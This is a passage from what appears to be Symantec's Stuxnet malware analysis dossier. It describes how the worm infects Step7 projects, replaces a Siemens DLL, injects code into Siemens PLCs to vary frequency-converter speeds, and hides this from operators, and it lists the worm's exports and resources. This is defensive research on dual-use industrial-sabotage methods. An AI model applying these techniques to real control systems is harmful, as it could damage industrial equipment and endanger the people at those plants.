August this year) are affected. MCP files Like .s7p files, .mcp files may be found inside a Step7 project folder. However, they are normally created by WinCC. Finding such a file inside the project may trigger project infection as well as the WinCC database infection. The project is a candidate for infection if: It is not deemed too old (used or accessed in the last 3.5 years). It contains a GracS folder with at least one .pdl file in it. The infection process then consists of several distinct steps: 1. Stuxnet creates the following files: GracS\cc_alg.sav (an encrypted copy of the main Stuxnet DLL) GracS\db_log.sav (a copy of a Stuxnet data file, which is 90 bytes in length) GracS\cc_alg.sav xutils\listen\s7000001.mdx (an encoded, updated version of the Stuxnet configura tion data block) 2. A copy of resource 203 is then decrypted and dropped to GracS\cc_tlg7.sav. This file is a Microsoft Cabinet file containing a DLL used to load and execute Stuxnet. During this infection process, the WinCC database may be accessed and infections spread to the WinCC database server machine. This routine is described in the Network Spreading section. TMP files For every .tmp file found inside the project, the filename is first validated. It must be in the form ~WRxxxxx.tmp, where xxxxx of hexadecimal digits whose sum module 16 is null. For instance, ~WR12346.tmp would qualify because 1+2+3+4+6 = 16 = 0 mod 16. The file content is then examined. The first eight bytes must contain the following magic string LRW~LRW~ If so, the rest of the data is decrypted. It should be a Windows module, which is then mapped. Export #7 of this module is executed. Stuxnet can also harness infected projects to update itself. If a project is opened and it is already infected, Stuxnet verifies if the version inside is newer than the current infection and executes it. This allows Stuxnet to update itself to newer versions when possible. Three possible forms of infected project files exist. A different export handles each form. Export 9 takes a Step7 project path as input, supposedly infected. It will then build paths to the following Stuxnet files located inside the project: \XUTILS\listen\XR000000.MDX \XUTILS\links\S7P00001.DBF \XUTILS\listen\S7000001.MDX These files are copied to temporary files (%Temp%\~dfXXXX.tmp) and Export 16, the main entry point within this potentially newer version of Stuxnet, is executed. Page 34 Security Response W32.Stuxnet Dossier Export 31 takes a Step7 project path as input and supposedly infected. It will then build paths to the following Stuxnet files located inside the project: \GracS\cc_alg.sav \GracS\db_log.sav \GracS\cc_tag.sav These files are copied to temporary files (%Temp%\~dfXXXX.tmp). Export #16 within these files is then called to run this version of Stuxnet. Export 10 is similar to 9 and 31. It can process Step7 folders and extract Stuxnet files located in the Gracs\ or Xutils\ subfolders. It may also process Zip archives. Export #16 within the extracted files is then used to run the extracted copy of Stuxnet, and eventually update the configuration data block. Page 35 W32.Stuxnet Dossier Security Response Modifying PLCs Resource 208 is dropped by export #17 and is a malicious replacement for Simatic s s7otbxdx.dll file. First, it s worth remembering that the end goal of Stuxnet is to infect specific types of Simatic programmable logic controller (PLC) devices. PLC devices are loaded with blocks of code and data written using a variety of languages, such as STL or SCL. The compiled code is an assembly called MC7. These blocks are then run by the PLC, in order to execute, control, and monitor an industrial process. The original s7otbxdx.dll is responsible for handling PLC block exchange between the programming device (i.e., a computer running a Simatic manager on Windows) and the PLC. By replacing this .dll file with its own, Stuxnet is able to perform the following actions: Monitor PLC blocks being written to and read from the PLC. Infect a PLC by inserting its own blocks and replacing or infecting existing blocks. Mask the fact that a PLC is infected. Figure 19 PLC and Step7 Simatic PLC 101 Figure 20 Test equipment To access a PLC, specific software needs to be installed. Stuxnet specifically targets the WinCC/Step 7 software. With this software installed, the programmer can connect to the PLC with a data cable and access the memory contents, reconfigure it, download a program onto it, or debug previously loaded code. Once the PLC has been configured and programmed, the Windows computer can be disconnected and the PLC will function by itself. To give you an idea of what this looks like, figure 20 is a photo of some basic test equipment. Page 36 Security Response W32.Stuxnet Dossier Figure 21 shows a portion of Stuxnet s malicious code in the Step7 STL editor. The beginning of the MC7 code for one of Stuxnet s Function Code (FC) blocks is visible. The code shown is from the disassembled block FC1873. Figure 21 Stuxnet code in the Step7 STL editor Figure 22 Step7 and PCL communicating via s7otbxdx.dll As mentioned previously, the Step 7 software uses a library file called s7otbxdx.dll to perform the actual communication with the PLC. The Step7 program calls different routines in this .dll file when it wants to access the PLC. For example, if a block of code is to be read from the PLC using Step7, the routine s7blk_read is called. The code in s7otbxdx.dll accesses the PLC, reads the code, and passes it back to the Step7 program, as shown in figure 22. Looking at how access to the PLC works when Stuxnet is installed, once Stuxnet executes, it renames the original s7otbxdx.dll file to s7otbxsx.dll. It then replaces the original .dll file with its own version. Stuxnet can now intercept any call that is made to access the PLC from any software package. Page 37 W32.Stuxnet Dossier Security Response Stuxnet s s7otbxdx.dll file contains all potential exports of the original .dll file a maximum of 109 which allows it to handle all the same requests. The majority of these exports are simply forwarded to the real .dll file, now called s7otbxsx. dll, and nothing untoward happens. In fact, 93 of the original 109 exports are dealt with in this manner. The trick, however, lies in the 16 exports that are not simply forwarded but are instead intercepted by the custom .dll file. The intercepted exports are the routines to read, write, and enumerate code blocks on the PLC, among others. By intercepting these requests, Stuxnet is able to modify the data sent to or returned from the PLC without the operator of the PLC realizing it. It is also through these routines that Stuxnet is able to hide the malicious code that is on the PLC. Figure 23 Communication with malicious version of s7otbxdx.dll The following are the most common types of blocks used by a PLC: Data Blocks (DB) contain program-specific data, such as numbers, structures, and so on. System Data Blocks (SDB) contain information about how the PLC is configured. They are created depending on the number and type of hardware modules that are connected to the PLC. Organization Blocks (OB) are the entry point of programs. They are executed cyclically by the CPU. In regards to Stuxnet, two notable OBs are: OB1 is the main entry-point of the PLC program. It is executed cyclically, without specific time requirements. OB35 is a standard watchdog Organization Block, executed by the system every 100 ms. This function may contain any logic that needs to monitor critical input in order to respond immediately or perform functions in a time critical manner. Function Blocks (FC) are standard code blocks. They contain the code to be executed by the PLC. Generally, the OB1 block references at least one FC block. The infection process Stuxnet infects PLC with different code depending on the characteristics of the target system. An infection sequence consists of code blocks and data blocks that will be injected into the PLC to alter its behavior. The threat contains three main infection sequences. Two of these sequences are very similar, and functionally equivalent. These two sequences are dubbed A and B. The third sequence is dubbed sequence C. Initially, if the DLL is running inside the ccrtsloader.exe file, the malicious s7otbxdx.dll starts two threads responsible for infecting a specific type of PLC: The first thread runs an infection routine every 15 minutes. The targeted PLC information has previously been collected by the hooked exports, mainly s7db_open(). This infection routine specifically targets CPUs 6ES7315-2 (series 300) with special SDB characteristics. The sequence of infection is A or B. The second thread regularly queries PLC for a specific block that was injected by the first thread if the infection process succeeded. This block is customized, and it impacts the way sequences A or B run on the infected PLC. Finally, the injection of sequence C appears disabled or was only partially completed. Sequence C can be written only to the 6ES7-417 family, not the 6ES7-315-2 family mentioned above. Page 38 Security Response W32.Stuxnet Dossier The infection thread, sequences A and B This thread runs the infection routine every 15 minutes. When a PLC is found , the following steps are executed: First, the PLC type is checked using the s7ag_read_szl API. It must be a PLC of type 6ES7-315-2. The SDB blocks are checked to determine whether the PLC should be infected and if so, with which sequence (A or B). If the two steps above passed, the real infection process starts. The DP_RECV block is copied to FC1869, and then replaced by a malicious block embedded in Stuxnet. The malicious blocks of the selected infection sequence are written to the PLC. OB1 is infected so that the malicious code sequence is executed at the start of a cycle. OB35 is also infected. It acts as a watchdog, and on certain conditions, it can stop the execution of OB1. The three key steps of the infection process are detailed below. SDB check The System Data Blocks are enumerated and parsed. Stuxnet must find an SDB with the DWORD at offset 50h equal to 0100CB2Ch. This specifies the system uses the Profibus communications processor module CP 342-5. Profibus is a standard industrial network bus used for distributed I/O, In addition, specific values are searched for and counted: 7050h and 9500h. The SDB check passes if, and only if, the total number of values found is equal to or greater than 33. These appear to be Profibus identification numbers, which are required for all Profibus DP devices except Master Class 2 devices. Identification numbers are assigned to manufacturers by Profibus & Profinet International (PI) for each device type they manufacture. 7050h is assigned to part number KFC750V3 which appears to be a frequency converter drive (also known as variable frequency drive) manufactured by Fararo Paya in Teheran, Iran. 9500h is assigned to Vacon NX frequency converter drives manufactured by Vacon based in Finland. Frequency converter drives are used to control the speed of another device, such as a motor. For example, if the frequency is increased, the speed of the motor increases. Frequency converter drives are used in multiple industrial control industries including water systems, HVAC, gas pipelines, and other facilities. Thus, the targeted system is using Profibus to communicate with at least 33 frequency converter drives from one or both of the two manufacturers, where sequence A is chosen if more Vacon devices are present and sequence B is chosen if more Fararo Paya devices are present. DP_RECV replacement DP_RECV is the name of a standard function block used by network coprocessors. It is used to receive network frames on the Profibus a standard industrial network bus used for distributed I/O. The original block is copied to FC1869, and then replaced by a malicious block. Figure 24 Each time the function is used to receive a packet, OB1 before and after infection the malicious Stuxnet block takes control: it will call the original DP_RECV in FC1869 and then do postprocessing on the packet data. OB1/OB35 infection Stuxnet uses a simple code-prepending infection technique to infect Organization Blocks. For example, the following sequence of actions is performed when OB1 is infected: Increase the size of the original block. Write malicious code to the beginning of the block. Insert the original OB1 code after the malicious code. Figure 24 illustrates OB1 before and after infection. Page 39 W32.Stuxnet Dossier Security Response Sequence blocks Sequences A and B are extremely close and functionally equivalent. They consist of 17 blocks, the malicious DP_RECV replacement block, as well as the infected OB1 and OB35 blocks. Figure 25 shows the connections between the blocks. Figure 25 Connections Between Blocks, Sequences A and B Legend: Arrows between two code blocks mean that a block calls or executes another block. The pink block represents the main block, called from the infected OB1. White blocks are standard Stuxnet code blocks. Yellow blocks are also Stuxnet blocks, but copied from the Simatic library of standard blocks. They execute common functions, such as timestamp comparison. Gray blocks are not part of Stuxnet; they re system function blocks, part of the operating system running on the PLC. They re used to execute system tasks, such as reading the system clock (SFC1). Green blocks represent Stuxnet data blocks. Note that block names are misleading (except for the yellow and gray blocks), in the sense that they do not reflect the real purpose of the block. Sequences A and B intercept packets on the Profibus by using the DP_RECV hooking block. Based on the values found in these blocks, other packets are generated and sent on the wire. This is controlled by a complex state machine, implemented in the various code blocks that make the sequence. One can recognize an infected PLC in a clean environment by examining blocks OB1 and OB35. The infected OB1 starts with the following instructions, meant to start the infection sequence and potentially short-circuit OB1 execution on specific conditions: FC1865 DW#16#DEADF007 DW#16#0 DW#16#0 Page 40 W32.Stuxnet Dossier Security Response The infected OB35 starts with the following instructions, meant to short-circuit OB35 on specific conditions: FC1874 DW#16#DEADF007 DW#16#0 DW#16#0 The monitor thread This secondary thread is used to monitor a data block DB890 of sequence A or B. Though constantly running and probing this block (every 5 minutes), this thread has no purpose if the PLC is not infected. The purpose of the thread is to monitor each S7-315 on the bus. When the sabotage routine is begun, the thread writes to the DB890 block of all the other S7-315s on the bus in order to have them begin the sabotage routine as well. This thread causes the attack to begin almost simultaneously for all S7-315 devices on the same bus. Behavior of a PLC infected by sequence A/B Infection sequences A and B are very similar. Unless otherwise stated, what s mentioned here applies to both sequences. The infection code for a 315-2 is organized as follows: The replaced DP_RECV block (later on referred to as the DP_RECV monitor ) is meant to monitor data sent by the frequency converter drives to the 315-2 CPU via CP 342-5 Profibus communication modules. Up to 6 CP 342-5 Profibus communication modules are supported. Each is a master on its own Profibus subnet with 31 frequency converter drives as slaves. The addresses of the CP 342-5 modules are recorded. Note the 315-2 CPU documentation recommends no more than 4 CP 324-5 modules, but in theory can support more, depending on CPU performance. Frames sent over Profibus are inspected. They are expected to have a specific format. Each frame should have 31 records one for each slave of either 28 or 32 bytes as the format differs slightly for the two different frequency converter drives. Some fields are stored. The other blocks implement a state machine that controls the process. Transitions from state i to state i+1 are based on events, timers or task completions. In state 1 fields recorded by the DP_RECV monitor are examined to determine if the target system is in a particular state of operation. When enough fields match simple criteria, a transition to state 2 occurs. In state 2 a timer is started. Transitioning to state 3 occurs after two hours have elapsed. In states 3 and 4, network frames are generated and sent on the Profibus to DP slaves. The contents of these frames are semi-fixed, and partially depend on what has been recorded by the DP_RECV monitor. State 5 initiates a reset of various variables used by the infection sequence (not to be confused with a PLC reset), before transitioning to state 1. Transitioning to state 0 may also occur in case of errors. In state 0, a 5-hour timer is started. Figure 29 represents a simplified view of this state machine. The normal path of execution is 1-2-3-4-5-1 as shown by the solid, blue arrows in the diagram. Let s detail what happens during each state. The initial state is 1 (circled in red). Transitioning to state 2 can take a fair amount of time. The code specifically monitors for records within the frames sent from the frequency converter drives that contain the current operating frequency (speed of the device being controlled). This value is held at offset 0xC in each record in the frame and is referred to as PD1 (parameter data 1). The frequency values can be represented in hertz (Hz) or decihertz (deciHz). The attackers expect the frequency drives to be running between 807 Hz and 1210 Hz. If PD1 has a value greater than 1210, the code assumes the values being sent are represented in deciHertz and adjusts all frequency values by a factor of 10. For example 10000 would be considered 10,000 deciHertz (1000.0 Hz) rather than 10,000Hz. The routine that counts these records (here after referred to as events) is called once per minute. Page 41 Security Response W32.Stuxnet Dossier Events are counted with a cap of 60 per minute. It seems that this is the optimal, expected rate of events. The global event counter, initially set to 1,187,136, must reach 2,299,104 to initiate a transition to state 2. If we assume an optimal number of events set to 60 (the max could be 186, but remember the cap), the counting being triggered every minute, the transition occurs after (2299104-1187136)/60 minutes, which is 12.8 days. Transitioning from state 2 to 3 is a matter of waiting 2 hours. Figure 26 State machine path of execution In states 3 and 4 two network send bursts occur. The traffic generated is semi-fixed, and can be one of the two sequences. The sequences consist of multiple frames that each contain 31 records. Each frame is sent to each CP 342-5 module, which passes on the respective record within the frame to each of the 31 frequency converter drive slaves. For infection sequence A (for Vacon frequency converters): Sequence 1 consists of 147 frames: 145 frames for sub-sequence 1a, sent during state 3. 2 frames for sub-sequence 1b, sent during state 4. Sequence 2 consisting of 163 frames: 127 frames for sub-sequence 2a, sent during state 3. 36 frames for sub-sequence 2b, sent during state 4. For infection sequence B (for Fararo Paya frequency converters): Sequence 1 consists of 57 frames: 34 frames for sub-sequence 1a, sent during state 3. 23 frames for sub-sequence 1b, sent during state 4. Sequence 2 consists of 59 frames: Page 42 W32.Stuxnet Dossier Security Response 32 frames for sub-sequence 2a, sent during state 3. 27 frames for sub-sequence 2b, sent during state 4. Transitioning from state 3 to state 4 takes 15 minutes for sequence 1 and 50 minutes for sequence 2. The data in the frames are instructions for the frequency converter drives. For example one of the frames contains records that change the maximum frequency (the speed at which the motor will operate). The frequency converter drives consist of parameters, which can be remotely configured via Profibus. One can write new values to these parameters changing the behavior of the device. The values written to the devices can be found in Appendix C. Of note, for sequence A, the maximum frequency is set to 1410 Hz in sequence 1a, then set to 2 Hz in sequence 2a, and then set to 1064 Hz in sequence 2b. Thus, the speed of the motor is changed from 1410Hz to 2Hz to 1064Hz and then over again. Recall the normal operating frequency at this time is supposed to be between 807 Hz and 1210 Hz. Thus, Stuxnet sabotages the system by slowing down or speeding up the motor to different rates at different times. When a network send (done through the DP_SEND primitive) error occurs, up to two more attempts to resend the frame will be made. Cases where a slave coprocessor is not started are also gracefully handled through the use of timers. During states 3 and 4, the execution of the original code in OB1 and OB35 is temporarily halted by Stuxnet. This is likely used to prevent interference from the normal mode of operation while Stuxnet sends its own frames. During processing of state 5, various fields are initialized before transitioning to state 1 and starting a new cycle. The two major events are: The global event counter is reset (which was initially 1187136). This means that future transitions from state 1 to state 2 should take about 26.6 days. The DP_RECV monitor is reset. This means that the slave reconnaissance process is to take place again before frame snooping occurs. (Incidentally, note that slave reconnaissance is forced every 5.5 hours.) Transition to state 0 then occurs if an error was reported. Error in this context usually means that OB1 took too long to execute (over 13 seconds). Otherwise, a regular transition to state 1 takes place. It is worth mentioning that short-circuits, used to transition directly through states 0 and 1 to state 3, are designed to allow the sabotage routine to begin immediately. This occurs when another S7-315 on the same bus has fulfilled the wait period. The Windows monitoring thread will modify DB890, setting a flag, causing the PLC code to immediately begin the sabotage routine and to no longer wait the requisite time. This behavior synchronizes the sabotage routine across all 315s controlled by the same Windows system. s detail the purpose of the DP_RECV monitor and the subsequent frames sent during state 3 and 4. The code expects a structure of 31 records of either 28 or 32 bytes (depending on which frequency drive is installed). Here s the header of such a record: Offset Type word word dword word word word Name Index (IND) VALUE ControlWord (CW)/StatusWord (SW) Reference (REF)/Actual (ACT) Process Data 1 (PD1) The monitor is especially interested in fields SW, ACT, and PD1. The following pieces of information are recorded: Is the tenth bit in SW set? This specifies FieldBus Control is on (one can control the devices via Profibus). Is ACT a positive or negative integer? Positive represents a forward direction, while negative reverse direction. Page 43 W32.Stuxnet Dossier Security Response The value of PD1, which is the output frequency (the current frequency/speed). The other fields are ignored. When reaching states 3 and 4, the original PLC code is halted and the malicious PLC code begins sending frames of data based on the recorded values during the DP_RECV monitor phase. The purpose of sending the frames is to change the behavior of the frequency converter drives. First of all DP_SEND will send similar types of frames as the ones that are expected to be received by DP_RECV (which means each frame will contain 31 records of 28 or 32 bytes one record for each slave frequency converter drive). Each record sent changes a configuration, such as the maximum frequency on the frequency converter drive. The record fields will be set to zero, except for the ID, Value, CW, and REF fields. Table 6 ID Field Format ID Byte 1 ID Byte 2 Request Type Parameter Number ID specifies the parameter to change. The format of the ID field is detailed in Table 6. VALUE contains the new value for the particular parameter. For frequency values, a factor of ten can be applied if the system was determined to be using deciHz units. CW (ControlWord) in sequence A is typically set to 47Fh, which means , but can start by sending 477h (Stop by Coast) and finishes by using 4FFh (Fault Reset). CW in sequence B is set to 403h. REF can range from 100% to -100% represented by 10000 or -10000. This specifies the drive should be operating at the maximum (100%) frequency either in a forward (positive 10000) or reverse (negative 10000) direction. The previous direction, before the behavior of the frequency converter drives were hijacked, is maintained, but at 100% potentially with a new maximum frequency. The parameters that are modified and their values are in Appendix C. To more clearly illustrate the behavior of the injected code, we ve outlined the key events that would occur with an infected 315-2 CPU connected to multiple CP 342-5 modules each with 31 frequency converter drive slaves, as shown in the diagram below. Figure 27 Connections between sequence blocks The PLC is infected. Frequency converter slaves send records to their CP342-5 master, building a frame of 31 records The CPU records the CP-342-5 addresses. The frames are examined and the fields are recorded. After approximately 13 days, enough events have been recorded, showing the system has been operating between 807 Hz and 1210 Hz. The infected PLC generates and sends sequence 1 to its frequency converter drives, setting the frequency to 1410Hz. Normal operation resumes. After approximately 27 days, enough events have been recorded. The infected PLC generates and sends sequence 2 to its frequency converter drives, setting the frequency Page 44 Security Response W32.Stuxnet Dossier initially to 2Hz and then 1064Hz. Normal operation resumes. After approximately 27 days, enough events have been recorded. The infected PLC generates and sends sequence 1 to its frequency converter drives, setting the frequency to 1410Hz. Normal operation resumes. After approximately 27 days, enough events have been recorded. The infected PLC generates and sends sequence 2 to its frequency converter drives, setting the frequency initially to 2Hz and then 1064Hz. Sequence C Stuxnet has a second sabotage strategy targeting S7-417 PLCs. However, the routine is incomplete and the PLC code, referred to as sequence C, is never purposefully copied onto a PLC or executed. While we can speculate the PLC code injection was active at a previous time, sequence C itself appears unfinished, contains unimplemented cases, unused code blocks, and test or debug code. This sequence is more complex than sequences A or B. It contains more blocks of code and data (32), and also generates data blocks on-the-fly using specific SFC blocks. The figure below represents sequence C. Figure 28 Connections Between Blocks, Sequence C Sequence C Injection Stuxnet hooks the Step 7 write function, so that whenever someone updates code on the PLC, sequence C is copied to the PLC. However, because code for a single function in the DLL is missing, sequence C is never properly activated. Page 45 W32.Stuxnet Dossier Security Response The S7-417 PLC code-installation routine starts when an operator of the target system performs a write operation to a S7-417 PLC, such as updating code. The SDB7 is read and DB8061 (consisting of Stuxnet-specific data) is created based on the values in SDB7. However, due to the incomplete function in the DLL, DB8061 is never created and the data contained in DB8061 is unknown. In particular, the reference to the function exists, but when called, a Windows exception occurs. The exception is caught and execution resumes as if DB8061 was created. Figure 29 Code where an exception is thrown .text:1000D947 68 70 C8 03 10 push .text:1000D94C 8D 45 FF .text:1000D94F 50 push .text:1000D950 E8 93 47 00 00 call .text:1000D950 offset unk _ 1003C870 eax, [ebp+var _ 1] _ _ CxxThrowException@8 The blocks that compose sequence C are then written to the PLC, including the modifications of SDB0 and SDB4, and OB80 is created as well, if it did not previously exist. OB80 is the time-event error interrupt and is called if the maximum cycle time is exceeded. SDB0 is expected to contain records holding CPU configuration information. The block is parsed and a static 10-byte long record is inserted into the block. The purpose of this insertion is unknown. However, contrary to what happens with sequences A and B, no specific values are searched in the block. Moreover, record 13 of SDB0 can be modified. The creation timestamp of SDB0 is incremented, and this timestamp is replicated to a specific location in SDB4 for consistency. Sequence C is written and Stuxnet also makes sure an OB80 exists, or else creates an empty one. Later, the modification of OB1 (the entry point) that is needed to execute sequence C never occurs. The code to modify OB1 requires the successful completion of the missing function and since the function throws an exception, OB1 is not modified and the remaining sequence C code blocks are never executed. Even if OB1 is modified to execute sequence C, the missing (or an existing unrelated) DB8061 would cause sequence C to operate improperly. Finally, even if OB1 was modified and DB8061 contained correct values, unimplemented cases in sequence C would likely cause it to operate unexpectedly. Thus, sequence C appears unfinished. Stuxnet also hooks Step 7 to monitor for writes specifically to SDB7. When SDB7 is written, Stuxnet will modify three bytes in DB8061. Thus, if DB8061 already exists coincidentally on the target PLC, three values will accidentally be modified, potentially corrupting the PLC operation. The following provides a step-by-step summary of the failed injection process: 1. Read SDB7 2. Attempt to generate DB8061, which fails 3. Modify SDB0, SDB4 4. Copy sequence C blocks to the PLC (do not overwrite existing blocks) 5. Create OB80 if it does not exist 6. Modify OB1 (does not occur) Figure 30 Eight states in sequence C Sequence C Behavior The following describes the behavior of sequence C. However, these behaviors never happen due to the missing function in the DLL. Sequence C consists of 40 blocks, 26 containing Stuxnet code, 4 with standard code blocks, and 10 containing data. Sequence C consists of a state machine with eight states. DB8061 is critical to the operation of sequence C and because DB8061 is missing, the exact behavior of sequence C is unknown. Page 46 W32.Stuxnet Dossier Security Response State 0: Wait The code expects six groups of 164 peripherals. Based on knowledge from the S7-315 code, these could be six cascades containing 164 centrifuges each. Stuxnet monitors the groups, and the sum of the activity times for all groups must be greater than 297 days or for a single group greater than 35 days. In addition, all groups must be active for at least three days. State 1: Recording DB8064 through DB8070 (seven blocks) are created and each contains three sub-blocks for a total of 21 subblocks. The input area of an I/O image is copied into each sub-block with a one second interval between copies, forming a 21 second recording of the input area. The input area contains information being passed to the PLC from a peripheral. (For example, the current state of a valve or the temperature of a device.) State 2 - 6: Sabotage When the peripheral output is written to, sequence C intercepts the output and ensures it is not written to the process image output. The output is the instructions the PLC sends to a device to change its operating behavior. By intercepting the peripheral output, Stuxnet prevents an operator from noticing unauthorized commands sent to the peripheral. Each cascade of 164 peripherals is grouped into 15 clusters (0 14). Each cluster is affected, but not every centrifuge within a cluster is affected. The following table shows for each group how many peripherals within each cluster are affected. Table 7 Affected peripherals within each cluster Cluster Number Peripherals in the Cluster Peripheral Number Peripherals affected 8-13 14-21 22-31 32-43 44-59 60-79 80103 104123 124139 140151 152159 160163 The particular peripherals within the clusters that are affected are pseudo-randomly chosen. For example, cluster 4 contains 8 peripherals (peripheral 14 to 21). According to the table, 6 out of 8 are affected. One peripheral within the cluster is pseudo-randomly selected. Let s say peripheral 20 is selected. Stuxnet will then sabotage peripherals 20, 21, 14, 15, 16, and 17. If an error occurs when attempting to sabotage one of the peripherals, the next one is selected. For example, if an error occurs when affecting peripheral 15, then peripherals 16, 17, and now 18 would be targeted. A total of 110 peripherals will be affected out of 164. While this behavior occurs across the four states, state 3 takes place in two parts, with a two minute break in between. The transition from state 5 to state 6 takes place after 2 minutes, 53 seconds. State 6 is the state where the writing to the image/peripheral output takes place. This state lasts 6 minutes, 58 seconds. How the peripherals are affected is unknown. Data is written to the image/peripheral output changing their behavior, but the data to be written is within DB8061, which is missing. State 7: Reset The seven dynamically created data blocks (DB8064-DB8070) are deleted and many of the data values in the data blocks are reset. State 7 can also be reached if any error occurs or if more than seven seconds elapses between two OB1 cycles. Page 47 Security Response W32.Stuxnet Dossier A return to state 1 will occur, resulting in a cycle consisting of waiting approximately 35 days, followed by a seven minute attack phase. Thus, while the clear intention of the S7-417 code is unknown, key bits may support the theory of a secondary attack strategy on centrifuge systems within a cascade. The rootkit The Stuxnet PLC rootkit code is contained entirely in the fake s7otbxdx.dll. In order to achieve the aim of continuing to exist undetected on the PLC it needs to account for at least the following situations: Read requests for its own malicious code blocks. Read requests for infected blocks (OB1, OB35, DP_RECV). Write requests that could overwrite Stuxnet s own code. Stuxnet contains code to monitor and intercept these types of request. The threat modifies these requests so that Stuxnet s PLC code is not discovered or damaged. The following list gives some examples of how Stuxnet uses the hooked exports to handle these situations: s7blk_read Used to read a block, is monitored so that Stuxnet returns: The original DP_RECV (kept as FC1869) if DP_RECV is requested. An error if the request regards one of its own malicious blocks. A cleaned version (disinfected on the fly) copy of OB1 or OB35 if such a block is requested. s7blk_write Used to write a block, is also monitored: Requests to OB1/OB35 are modified so that the new version of the block is infected before it s written. Requests to write DP_RECV are also monitored. The first time such a request is issued, the block will be written to FC1869 instead of DP_RECV. Next time an error will be raised (since these system blocks are usually written only once). Also note that the injection of sequence C takes place through a s7blk_write operation. Exact conditions are not determined. s7blk_findfirst and s7blk_findnext Used to enumerate blocks of a PLC. Stuxnet will hide its own blocks by skipping them voluntarily during an enumeration. Note that Stuxnet recognizes its own blocks by checking a specific value it sets in a block header. s7blk_delete Used to delete blocks, is monitored carefully: Requests to delete a SDB may result in PLC disinfection. Requests to delete OB are also monitored. It seems the blocks are not necessarily deleted. They could be infected. For instance, deletion of OB80 (used to handle asynchronous error interrupts) can result in an empty OB80 being written. Other export hooks Other exports are hooked to achieve other functions, including PLC information gathering, others remaining quite obscure at the time of writing: s7db_open and s7db_close Used to obtain information used to create handles to manage a PLC (such a handle is used by APIs that manipulate the PLC). s7ag_read_szl Used to query PLC information, through a combination of an ID and an index (it can be used for instance to get the PLC type.) The export modifies the API s return information if it s called with specific ID=27, index=0. s7_event The purpose of the original API is unknown. The export can modify block DB8062 of sequence C. s7ag_test s7ag_link_in s7ag_bub_cycl_read_create Page 48 Security Response W32.Stuxnet Dossier s7ag_bub_read_var s7ag_bub_write_var s7ag_bub_read_var_seg s7ag_bub_write_var_seg Stuxnet records the previous operating frequencies for the frequency controllers. This data is played back to WinCC through these hooked functions during the sabotage routines. Thus, instead of the monitoring systems receiving the anomalous operating frequency data, the monitoring systems believe the frequency converters are operating as normal. In addition, OB35 is infected as previously described. When the sabotage routine occurs, OB35 prevents the original OB35 code from executing. Assuming the original OB35 code initiates a graceful shutdown during catastrophic events, even if the operators realize the system is operating abnormally, they will not be able to safely shutdown the system. Interestingly, OB35 uses a magic marker value of 0xDEADF007 (possibly to mean Dead Fool or Dead Foot term used when an airplane engine fails) to specify when the routine has reached its final state. Page 49 Security Response W32.Stuxnet Dossier Payload Exports Export 1 Starts removable drive infection routine as described in the Removable Drive Propagation section. Also starts the RPC server described in the Peer-to-Peer Communication section. Export 2 Hooks APIs as described in the Step 7 Project File Infections section. Export 4 Initialization for export 18, which removes Stuxnet from the system. Export 5 Checks if MrxCls.sys installed. The purpose of MrxCls.sys is described in the Load Point section. Export 6 Export 6 is a function to return the version number of the threat read from the configuration data block. The version information is stored in the configuration data block at offset 10h. Export 7 Export 7 simply jumps to export 6. Export 9 Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File Infections section. Export 10 Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File Infections section. Export 14 Main wrapper function for Step 7 project file infections as described in the Step 7 Project File Infections section. Export 15 Initial entry point described in the Installation section. Export 16 Main installation routine described in the Installation section. Export 17 Replaces a Step 7 DLL to infect PLCs as described in the Sabotaging PLCs section. Page 50 Security Response W32.Stuxnet Dossier Export 18 Removes Stuxnet from the system by deleting the following files: 1. Malicious Step 7 DLL 2. Driver files MrxCls.sys and MrxNet.sys 3. oem7A.PNF 4. mdmeric3.pnf 5. mdmcpq3.pnf (Stuxnet s configuration file) Export 19 Removable drive infecting routine as described in the Removable Drive Propagation section. Export 22 Contains all the network spreading routines described in the Network Spreading Routines section. Export 24 Checks if the system is connected to the Internet. Performs a DNS query on two benign domains in the configuration data (by default windowsupdate.com and msn.com) and updates the configuration data with the status. Export 27 Contains part of the code for the RPC server described in the Peer-to-Peer Communication section. Export 28 Contains command and control server functionality described in the Command and Control section. Export 29 Contains command and control server functionality described in the Command and Control section. Export 31 Executes possibly new versions of Stuxnet from infected Step 7 projects as described in the Step 7 Project File Infections section. Export 32 The same as export 1, except it does not check for an event signal before calling the removable drive spreading routines and the RPC server code. This export is described in the Removable Drive Propagation section. Payload Resources The exports above need to load other files/templates/data to perform their tasks. All of these files are stored in the resources section of the main .dll file. The function of each resource is discussed in detail here. Resource 201 Windows rootkit MrxNet.sys driver signed by a compromised Realtek signature described in the Windows Rootkit Functionality section. Resource 202 The DLL used in Step 7 project infections as described in the Step 7 Project File Infections section. Page 51 Security Response W32.Stuxnet Dossier Resource 203 CAB file, contains a DLL very similar to resource 202 that is added to WinCC project directories (as described in Step 7 Project File Infections) and then loaded and executed through SQL statements as described in the Infecting WinCC Machines section. Resource 205 Encoded configuration file for the load point driver (MrxCls.sys) that is added to the registry. The file specifies what process should be injected and with what, which is described in the Load Point section. Resource 207 Stuxnet appended with autorun.inf information. Only in previous variants of Stuxnet. Resource 208 Step 7 replacement DLL used in infecting PLCs as described in the Sabotaging PLCs section. Resource 209 25 bytes long data file created in %Windir%\help\winmic.fts Resource 210 Template PE file used by many exports when creating or injecting executables. Resource 221 This resource file contains the code to exploit the Microsoft Windows Server Service Vulnerability - MS08-067 as described in the MS08-067 Windows Server Service vulnerability section. Resource 222 This resource file contains the code to exploit the Microsoft Windows Print Spooler Vulnerability MS10-067 as described in the MS10-061 Print Spooler Zero day vulnerability section. Resource 231 Checks if the system is connected to the Internet. This resource is only in previous variants of Stuxnet. Resource 240 Used to build unique .lnk files depending on drives inserted as described in the Removable Drive Propagation section. Resource 241 The file WTR4141.tmp signed by Realtek and described in the Removable Drive Propagation section. Resource 242 Mrxnet.sys rootkit file signed by Realtek. Resource 250 0-day exploit code that results in an escalation of privilege due to the vulnerability in win32k.sys. Details are described in the Windows Win32k.sys Local Privilege Escalation vulnerability (MS10-073) section. Page 52 W32.Stuxnet Dossier Security Response Variants Out of 3,280 collected samples, three distinct variants have been identified. They have compile times of: Mon Jun 22 16:31:47 2009 Mon Mar 01 05:52:35 2010 Wed Apr 14 10:56:22 2010 A fourth variant is likely to exist as a driver file, signed with the JMicron digital certificate that was found, but the variant dropping this driver has yet to be recovered. This document primarily concentrates on the March 2010 variant. The April 2010 variant only differs very slightly from the March 2010 variant. (For example, increasing the date at which 